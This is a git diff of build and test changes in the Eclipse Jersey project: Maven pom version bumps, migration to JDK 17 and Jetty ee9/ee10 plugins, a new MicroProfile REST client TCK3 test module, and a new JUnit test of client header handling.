<groupId>org.eclipse.microprofile.rest.client</groupId> + <artifactId>microprofile-rest-client-tck</artifactId> + <version>${microprofile.rest.client.version}</version> + <scope>test</scope> </dependency> <!-- Overrides CDI from parent pom --> <dependency> @@ -50,11 +68,10 @@ <artifactId>weld-se-core</artifactId> <scope>test</scope> </dependency> - <!--<dependency> - <groupId>javax.servlet</groupId> - <artifactId>javax.servlet-api</artifactId> - <version>4.0.1</version> - </dependency>--> + <dependency> + <groupId>jakarta.servlet</groupId> + <artifactId>jakarta.servlet-api</artifactId> + </dependency> <dependency> <groupId>io.smallrye.config</groupId> <artifactId>smallrye-config</artifactId> @@ -62,21 +79,15 @@ <scope>test</scope> </dependency> <dependency> - <groupId>org.eclipse.microprofile.rest.client</groupId> - <artifactId>microprofile-rest-client-tck</artifactId> - <version>${microprofile.rest.client.version}</version> - <scope>test</scope> - </dependency> - <dependency> <groupId>org.testng</groupId> <artifactId>testng</artifactId> - <version>${testng6.version}</version> + <version>${testng.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.wiremock</groupId> <artifactId>wiremock</artifactId> - <version>${wiremock.version}</version> + <version>${wiremock.jetty11.version}</version> <scope>test</scope> <exclusions> <exclusion> @@ -171,6 +182,11 @@ <scope>test</scope> </dependency> <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-multipart</artifactId> + <scope>test</scope> + </dependency> + <dependency> <groupId>org.glassfish.jersey.ext.cdi</groupId> <artifactId>jersey-weld2-se</artifactId> <scope>test</scope> @@ -190,7 +206,7 @@ <name>skipTests</name> <value>!true</value> </property> - <jdk>[11,)</jdk> + <jdk>[17,)</jdk> </activation> <build> <plugins> @@ -239,11 +255,20 @@ </plugins> </build> </profile> + <profile> + <id>securityOff</id> + <activation> + <jdk>[24,)</jdk> + </activation> + <properties> + <surefire.security.argline /> + </properties> + </profile> </profiles> <properties> <surefire.security.argline>-Djava.security.manager -Djava.security.policy=${project.build.directory}/test-classes/server.policy</surefire.security.argline> - <jetty.version>${jetty9.version}</jetty.version> + <jetty.version>${jetty11.version}</jetty.version> </properties>
diff --git a/tests/integration/microprofile/rest-client-tck3/pom.xml b/tests/integration/microprofile/rest-client-tck3/pom.xml new file mode 100644 index 0000000..c26ac72 --- /dev/null +++ b/tests/integration/microprofile/rest-client-tck3/pom.xml
@@ -0,0 +1,262 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- + + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<project xmlns="http://maven.apache.org/POM/4.0.0" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> + <parent> + <artifactId>microprofile-integration-project</artifactId> + <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId> + <version>3.1.99-SNAPSHOT</version> + </parent> + <modelVersion>4.0.0</modelVersion> + + <artifactId>jersey-rest-client-tck3</artifactId> + + <dependencies> + <dependency> + <groupId>org.glassfish.jersey.ext.microprofile</groupId> + <artifactId>jersey-mp-rest-client</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + <!-- Overrides CDI from parent pom --> + <dependency> + <groupId>jakarta.enterprise</groupId> + <artifactId>jakarta.enterprise.cdi-api</artifactId> + </dependency> + <dependency> + <groupId>jakarta.ejb</groupId> + <artifactId>jakarta.ejb-api</artifactId> + </dependency> + <dependency> + <groupId>org.jboss.weld.se</groupId> + <artifactId>weld-se-core</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>javax.servlet</groupId> + <artifactId>javax.servlet-api</artifactId> + <version>4.0.1</version> + </dependency> + <dependency> + <groupId>io.smallrye.config</groupId> + <artifactId>smallrye-config</artifactId> + <version>${smallrye.config.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.eclipse.microprofile.rest.client</groupId> + <artifactId>microprofile-rest-client-tck</artifactId> + <version>${microprofile.rest.client.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.testng</groupId> + <artifactId>testng</artifactId> + <version>${testng6.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>com.github.tomakehurst</groupId> + <artifactId>wiremock</artifactId> + <version>${wiremock.jetty9.version}</version> + <scope>test</scope> + <exclusions> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-server</artifactId> + </exclusion> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-servlet</artifactId> + </exclusion> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-servlets</artifactId> + </exclusion> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-webapp</artifactId> + </exclusion> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-proxy</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>com.google.guava</groupId> + <artifactId>guava</artifactId> + <version>${guava.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-server</artifactId> + <version>${jetty.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-servlet</artifactId> + <version>${jetty.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-servlets</artifactId> + <version>${jetty.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-webapp</artifactId> + <version>${jetty.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-proxy</artifactId> + <version>${jetty.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.jboss.arquillian.testng</groupId> + <artifactId>arquillian-testng-container</artifactId> + <version>${arquillian.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.jboss.arquillian.container</groupId> + <artifactId>arquillian-container-test-spi</artifactId> + <version>${arquillian.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.jboss.arquillian.container</groupId> + <artifactId>arquillian-weld-embedded</artifactId> + <version>${arquillian.weld.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework</groupId> + <artifactId>jersey-test-framework-core</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework.providers</groupId> + <artifactId>jersey-test-framework-provider-bundle</artifactId> + <type>pom</type> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-apache-connector</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.ext.cdi</groupId> + <artifactId>jersey-weld2-se</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>junit</groupId> + <artifactId>junit</artifactId> + <version>${junit4.version}</version> + </dependency> + </dependencies> + + <profiles> + <profile> + <id>testRunner</id> +<!-- DO NOT ACTIVATE BY DEFAULT, tests are run by rest-client-tck (4) --> +<!-- Kept for case of an error found in version 3 --> +<!-- <activation>--> +<!-- <property>--> +<!-- <name>skipTests</name>--> +<!-- <value>!true</value>--> +<!-- </property>--> +<!-- <jdk>[17,)</jdk>--> +<!-- </activation>--> + <build> + <plugins> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-surefire-plugin</artifactId> + <dependencies> + <dependency> + <groupId>org.apache.maven.surefire</groupId> + <artifactId>surefire-junit47</artifactId> + <version>${surefire.mvn.plugin.version}</version> + </dependency> + <dependency> + <groupId>org.apache.maven.surefire</groupId> + <artifactId>surefire-testng</artifactId> + <version>${surefire.mvn.plugin.version}</version> + </dependency> + </dependencies> + <configuration> + <threadCount>1</threadCount> + <suiteXmlFiles> + <suiteXmlFile>tck-suite.xml</suiteXmlFile> + </suiteXmlFiles> +<!-- <argLine>-verbose:class</argLine>--> + </configuration> + </plugin> + <plugin> + <groupId>uk.co.deliverymind</groupId> + <artifactId>wiremock-maven-plugin</artifactId> + <version>${wiremock.mvn.plugin.version}</version> + <executions> + <execution> + <phase>test-compile</phase> + <goals> + <goal>run</goal> + </goals> + <configuration> + <dir>target/classes</dir> + <params>--port=8765</params> + <!-- Enable verbose for more detailed output--> + <!-- <params>--verbose</params>--> + </configuration> + </execution> + </executions> + </plugin> + </plugins> + </build> + </profile> + <profile> + <id>securityOff</id> + <activation> + <jdk>[24,)</jdk> + </activation> + <properties> + <surefire.security.argline /> + </properties> + </profile> + </profiles> + + <properties> + <surefire.security.argline>-Djava.security.manager -Djava.security.policy=${project.build.directory}/test-classes/server.policy</surefire.security.argline> + <jetty.version>${jetty9.version}</jetty.version> + <microprofile.rest.client.version>${microprofile.rest.client3.version}</microprofile.rest.client.version> + </properties> + + +</project>
diff --git a/tests/integration/microprofile/rest-client-tck3/src/test/resources/arquillian.xml b/tests/integration/microprofile/rest-client-tck3/src/test/resources/arquillian.xml new file mode 100644 index 0000000..fffd8c9 --- /dev/null +++ b/tests/integration/microprofile/rest-client-tck3/src/test/resources/arquillian.xml
@@ -0,0 +1,29 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- + + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<arquillian xmlns="http://jboss.org/schema/arquillian" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation=" + http://jboss.org/schema/arquillian + http://jboss.org/schema/arquillian/arquillian_1_0.xsd"> + + <engine> + <property name="deploymentExportPath">target/deployments</property> + </engine> +</arquillian>
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/tests/integration/microprofile/rest-client-tck3/src/test/resources/server.policy similarity index 75% copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java copy to tests/integration/microprofile/rest-client-tck3/src/test/resources/server.policy index dd25372..d448842 100644 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java +++ b/tests/integration/microprofile/rest-client-tck3/src/test/resources/server.policy
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,7 +14,6 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.internal.jsr166; - -public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> { -} +grant { + permission java.security.AllPermission; +};
diff --git a/tests/integration/microprofile/rest-client-tck3/tck-suite.xml b/tests/integration/microprofile/rest-client-tck3/tck-suite.xml new file mode 100644 index 0000000..c83fae3 --- /dev/null +++ b/tests/integration/microprofile/rest-client-tck3/tck-suite.xml
@@ -0,0 +1,29 @@ +<!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" > +<!-- + + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<suite name="microprofile-rest-client-TCK" verbose="2" configfailurepolicy="continue"> + + <test name="microprofile-rest-client TCK"> + <packages> + <package name="org.eclipse.microprofile.rest.client.tck.*"> + </package> + </packages> + </test> + +</suite>
diff --git a/tests/integration/microprofile/rest-client/pom.xml b/tests/integration/microprofile/rest-client/pom.xml index b323d26..cdafb5f 100644 --- a/tests/integration/microprofile/rest-client/pom.xml +++ b/tests/integration/microprofile/rest-client/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>microprofile-integration-project</artifactId> <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/HttpHeaderTest.java b/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/HttpHeaderTest.java new file mode 100644 index 0000000..fd31fe8 --- /dev/null +++ b/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/HttpHeaderTest.java
@@ -0,0 +1,131 @@ +/* + * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.microprofile.restclient; + +import jakarta.json.Json; +import jakarta.json.JsonArray; +import jakarta.json.JsonArrayBuilder; +import jakarta.json.JsonObject; +import jakarta.json.JsonObjectBuilder; +import jakarta.json.JsonString; +import jakarta.json.JsonValue; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.core.MultivaluedMap; +import jakarta.ws.rs.core.Response; +import org.eclipse.microprofile.rest.client.RestClientBuilder; +import org.eclipse.microprofile.rest.client.annotation.ClientHeaderParam; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.util.List; +import java.util.stream.Collectors; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HttpHeaderTest { + @Path("/") + public interface HeaderResource { + @GET + public String get(); + } + + @Test + public void restclientBuilderWithHeadersTest() { + String headerName = "BUILDER_HEADER"; + String headerValue = "BUILDER_VALUE"; + HeaderResource resource = RestClientBuilder.newBuilder() + .baseUri("http://localhost:8080") + .register(new ClientRequestFilter() { + @Override + public void filter(ClientRequestContext requestContext) throws IOException { + if (requestContext.getHeaders().containsKey(headerName)) { + requestContext.abortWith(Response.ok(requestContext.getHeaders().getFirst(headerName)).build()); + } else { + requestContext.abortWith(Response.ok("no_header").build()); + } + } + }) + .header(headerName, headerValue) + .build(HeaderResource.class); + Assertions.assertEquals(headerValue, resource.get()); + } + + @ClientHeaderParam(name = "InterfaceAndBuilderHeader", value = "interface") + @Path("/") + public interface ClientBuilderHeaderClient { + + @GET + JsonObject getAllHeaders(@HeaderParam("HeaderParam") String param); + } + + public static class ReturnWithAllDuplicateClientHeadersFilter implements ClientRequestFilter { + + @Override + public void filter(ClientRequestContext clientRequestContext) throws IOException { + JsonObjectBuilder allClientHeaders = Json.createObjectBuilder(); + MultivaluedMap<String, Object> clientHeaders = clientRequestContext.getHeaders(); + for (String headerName : clientHeaders.keySet()) { + List<Object> header = clientHeaders.get(headerName); + final JsonArrayBuilder headerValues = Json.createArrayBuilder(); + header.forEach(h -> headerValues.add(h.toString())); + allClientHeaders.add(headerName, headerValues); + } + clientRequestContext.abortWith(Response.ok(allClientHeaders.build()).build()); + } + + } + + @Test + public void testHeaderBuilderInterface() { + + RestClientBuilder builder = RestClientBuilder.newBuilder().baseUri("http://localhost:8080/"); + builder.register(ReturnWithAllDuplicateClientHeadersFilter.class); + builder.header("InterfaceAndBuilderHeader", "builder"); + ClientBuilderHeaderClient client = builder.build(ClientBuilderHeaderClient.class); + + checkHeaders(client.getAllHeaders("headerparam"), "interface"); + } + + private static void checkHeaders(final JsonObject headers, final String clientHeaderParamName) { + final List<String> clientRequestHeaders = headerValues(headers, "InterfaceAndBuilderHeader"); + + assertTrue(clientRequestHeaders.contains("builder"), + "Header InterfaceAndBuilderHeader did not container \"builder\": " + clientRequestHeaders); + assertTrue(clientRequestHeaders.contains(clientHeaderParamName), + "Header InterfaceAndBuilderHeader did not container \"" + clientHeaderParamName + "\": " + + clientRequestHeaders); + + final List<String> headerParamHeaders = headerValues(headers, "HeaderParam"); + assertTrue(headerParamHeaders.contains("headerparam"), + "Header HeaderParam did not container \"headerparam\": " + headerParamHeaders); + } + + private static List<String> headerValues(final JsonObject headers, final String headerName) { + final JsonArray headerValues = headers.getJsonArray(headerName); + Assertions.assertNotNull(headerValues, + String.format("Expected header '%s' to be present in %s", headerName, headers)); + return headerValues.stream().map( + v -> (v.getValueType() == JsonValue.ValueType.STRING ? ((JsonString) v).getString() : v.toString())) + .collect(Collectors.toList()); + } + +}
diff --git a/tests/integration/pom.xml b/tests/integration/pom.xml index 180a564..b69188a 100644 --- a/tests/integration/pom.xml +++ b/tests/integration/pom.xml
@@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.tests.integration</groupId> @@ -58,31 +58,28 @@ <module>jersey-4542</module> <module>jersey-4697</module> <module>jersey-4722</module> + <module>jersey-5087</module> <module>jersey-5796</module> <module>microprofile</module> + <module>property-check</module> <module>reactive-streams</module> - <module>jersey-5087</module> + <module>servlet-2.5-reload</module> + <module>servlet-3-gf-async</module> + <module>servlet-3-sse-1</module> + <!-- <module>spring4</module>--> + <!-- <module>spring5</module>--> + <module>thin-server</module> </modules> + <properties> + <env>default</env> + <jersey.config.test.container.port>9998</jersey.config.test.container.port> + <jetty.log.file>${project.build.directory}/jetty-out.log</jetty.log.file> + </properties> + <profiles> <profile> - <id>default</id> - <properties> - <env>default</env> - <jersey.config.test.container.port>9998</jersey.config.test.container.port> - </properties> - <activation> - <jdk>[1.8,)</jdk> -<!-- <activeByDefault>true</activeByDefault> does not work ?!--> - </activation> - </profile> - <profile> <id>sonar</id> - <properties> - <env>default</env> - <jersey.config.test.container.port>9998</jersey.config.test.container.port> - <jetty.log.file>${project.build.directory}/jetty-out.log</jetty.log.file> - </properties> <build> <pluginManagement> <plugins> @@ -124,9 +121,9 @@ </build> </profile> <profile> - <id>Jetty11</id> + <id>jdk17</id> <activation> - <jdk>[11,)</jdk> + <jdk>[17,)</jdk> </activation> <modules> <module>async-jersey-filter</module> @@ -137,7 +134,6 @@ <module>jersey-1223</module> <module>jersey-1604</module> <module>jersey-1667</module> -<!-- <module>jersey-1829</module> Jakartification--> <module>jersey-1883</module> <module>jersey-1928</module> <module>jersey-1960</module> @@ -164,7 +160,6 @@ <module>jersey-2892</module> <module>jersey-3796</module> <module>jersey-4949</module> - <module>property-check</module> <module>resteasy-client</module> <module>security-digest</module> <module>servlet-2.5-autodiscovery-1</module> @@ -182,11 +177,9 @@ <module>servlet-2.5-mvc-1</module> <module>servlet-2.5-mvc-2</module> <module>servlet-2.5-mvc-3</module> - <module>servlet-2.5-reload</module> <module>servlet-3-async</module> <module>servlet-3-chunked-io</module> <module>servlet-3-filter</module> - <module>servlet-3-gf-async</module> <module>servlet-3-inflector-1</module> <module>servlet-3-init-1</module> <module>servlet-3-init-2</module> @@ -199,22 +192,13 @@ <module>servlet-3-init-9</module> <module>servlet-3-init-provider</module> <module>servlet-3-params</module> - <module>servlet-3-sse-1</module> <module>servlet-4.0-mvc-1</module> <module>servlet-tests</module> <module>servlet-request-wrapper-binding</module> <module>servlet-request-wrapper-binding-2</module> <module>sonar-test</module> - <module>tracing-support</module> - </modules> - </profile> - <profile> - <id>spring6-jdk17</id> - <activation> - <jdk>[17,)</jdk> - </activation> - <modules> <module>spring6</module> + <module>tracing-support</module> </modules> </profile> </profiles> @@ -264,8 +248,8 @@ </executions> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee9</groupId> + <artifactId>jetty-ee9-maven-plugin</artifactId> <version>${jetty.plugin.version}</version> <configuration> <skip>${skip.tests}</skip> @@ -288,9 +272,45 @@ <goals> <goal>start</goal> </goals> - <configuration> - <scanIntervalSeconds>0</scanIntervalSeconds> - </configuration> + </execution> + <execution> + <id>stop-jetty</id> + <phase>post-integration-test</phase> + <goals> + <goal>stop</goal> + </goals> + </execution> + </executions> + </plugin> + <plugin> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> + <version>${jetty.plugin.version}</version> + <configuration> + <skip>${skip.tests}</skip> + <stopPort>9999</stopPort> + <stopKey>STOP</stopKey> + <stopWait>10</stopWait> + <webApp> + <contextPath>/</contextPath> + <webInfIncludeJarPattern>.*/.*jersey-[^/]\.jar$</webInfIncludeJarPattern> + </webApp> + <httpConnector> + <port>${jersey.config.test.container.port}</port> + <idleTimeout>60000</idleTimeout> + </httpConnector> + <systemProperties> + <PORT>${jersey.config.test.container.port}</PORT> + <IDLE_TIMEOUT>60000</IDLE_TIMEOUT> + </systemProperties> + </configuration> + <executions> + <execution> + <id>start-jetty</id> + <phase>pre-integration-test</phase> + <goals> + <goal>start</goal> + </goals> </execution> <execution> <id>stop-jetty</id>
diff --git a/tests/integration/property-check/pom.xml b/tests/integration/property-check/pom.xml index ef3d8ac..24bb6af 100644 --- a/tests/integration/property-check/pom.xml +++ b/tests/integration/property-check/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>property-check</artifactId> @@ -79,6 +79,11 @@ <scope>test</scope> </dependency> <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jnh-connector</artifactId> + <scope>test</scope> + </dependency> + <dependency> <groupId>org.glassfish.jersey.security</groupId> <artifactId>oauth1-server</artifactId> <version>${project.version}</version>
diff --git a/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java b/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java index 916bf81..00701ff 100644 --- a/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java +++ b/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
@@ -39,6 +39,7 @@ import org.glassfish.jersey.internal.util.PropertiesClass; import org.glassfish.jersey.internal.util.Property; import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.jnh.connector.JavaNetHttpClientProperties; import org.glassfish.jersey.media.multipart.MultiPartProperties; import org.glassfish.jersey.message.MessageProperties; import org.glassfish.jersey.server.ServerProperties; @@ -96,6 +97,7 @@ System.setProperty(ApacheClientProperties.DISABLE_COOKIES, TEST_STRING); System.setProperty(Apache5ClientProperties.DISABLE_COOKIES, TEST_STRING); System.setProperty(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION, TEST_STRING); + System.setProperty(JavaNetHttpClientProperties.DISABLE_COOKIES, TEST_STRING); System.setProperty(MultiPartProperties.TEMP_DIRECTORY, TEST_STRING); System.setProperty(OAuth1ServerProperties.REALM, TEST_STRING); JerseySystemPropertiesConfigurationModel model = new JerseySystemPropertiesConfigurationModel(); @@ -125,6 +127,8 @@ assertFalse(properties.containsKey(Apache5ClientProperties.CONNECTION_MANAGER)); assertEquals(TEST_STRING, properties.get(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION)); assertFalse(properties.containsKey(JettyClientProperties.DISABLE_COOKIES)); + assertEquals(TEST_STRING, properties.get(JavaNetHttpClientProperties.DISABLE_COOKIES)); + assertFalse(properties.containsKey(JavaNetHttpClientProperties.SSL_PARAMETERS)); assertEquals(TEST_STRING, properties.get(MultiPartProperties.TEMP_DIRECTORY)); assertFalse(properties.containsKey(MultiPartProperties.BUFFER_THRESHOLD)); assertEquals(TEST_STRING, properties.get(OAuth1ServerProperties.REALM));
diff --git a/tests/integration/reactive-streams/pom.xml b/tests/integration/reactive-streams/pom.xml index 5f9ecaa..c4b3de5 100644 --- a/tests/integration/reactive-streams/pom.xml +++ b/tests/integration/reactive-streams/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <packaging>pom</packaging>
diff --git a/tests/integration/reactive-streams/sse/pom.xml b/tests/integration/reactive-streams/sse/pom.xml index 2230577..2292975 100644 --- a/tests/integration/reactive-streams/sse/pom.xml +++ b/tests/integration/reactive-streams/sse/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>reactive-streams-integration-project</artifactId> <groupId>org.glassfish.jersey.tests.integration.reactive</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/resteasy-client/pom.xml b/tests/integration/resteasy-client/pom.xml index 7c4c056..97a2de8 100644 --- a/tests/integration/resteasy-client/pom.xml +++ b/tests/integration/resteasy-client/pom.xml
@@ -25,7 +25,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>resteasy-client</artifactId> @@ -41,17 +41,12 @@ <dependency> <groupId>org.jboss.resteasy</groupId> <artifactId>resteasy-client</artifactId> - <version>6.0.3.Final</version> <!-- according to https://docs.resteasy.dev/6.2/userguide/ --> -<!-- the 6.0.x versions are for Jakarta EE9 (Jakarta RESTful Web Services API 3.0 )--> + <version>6.2.12.Final</version> <exclusions> <exclusion> <artifactId>commons-logging</artifactId> <groupId>commons-logging</groupId> </exclusion> - <exclusion> - <groupId>commons-codec</groupId> - <artifactId>commons-codec</artifactId> - </exclusion> </exclusions> </dependency>
diff --git a/tests/integration/security-digest/pom.xml b/tests/integration/security-digest/pom.xml index c46f761..c378737 100644 --- a/tests/integration/security-digest/pom.xml +++ b/tests/integration/security-digest/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>security-digest</artifactId> @@ -58,15 +58,20 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> + <webApp> + <parentLoaderPriority>true</parentLoaderPriority> + </webApp> <!-- define login service for jetty and the realm to be used --> <loginServices> <loginService implementation="org.eclipse.jetty.security.HashLoginService"> <name>my-realm</name> - 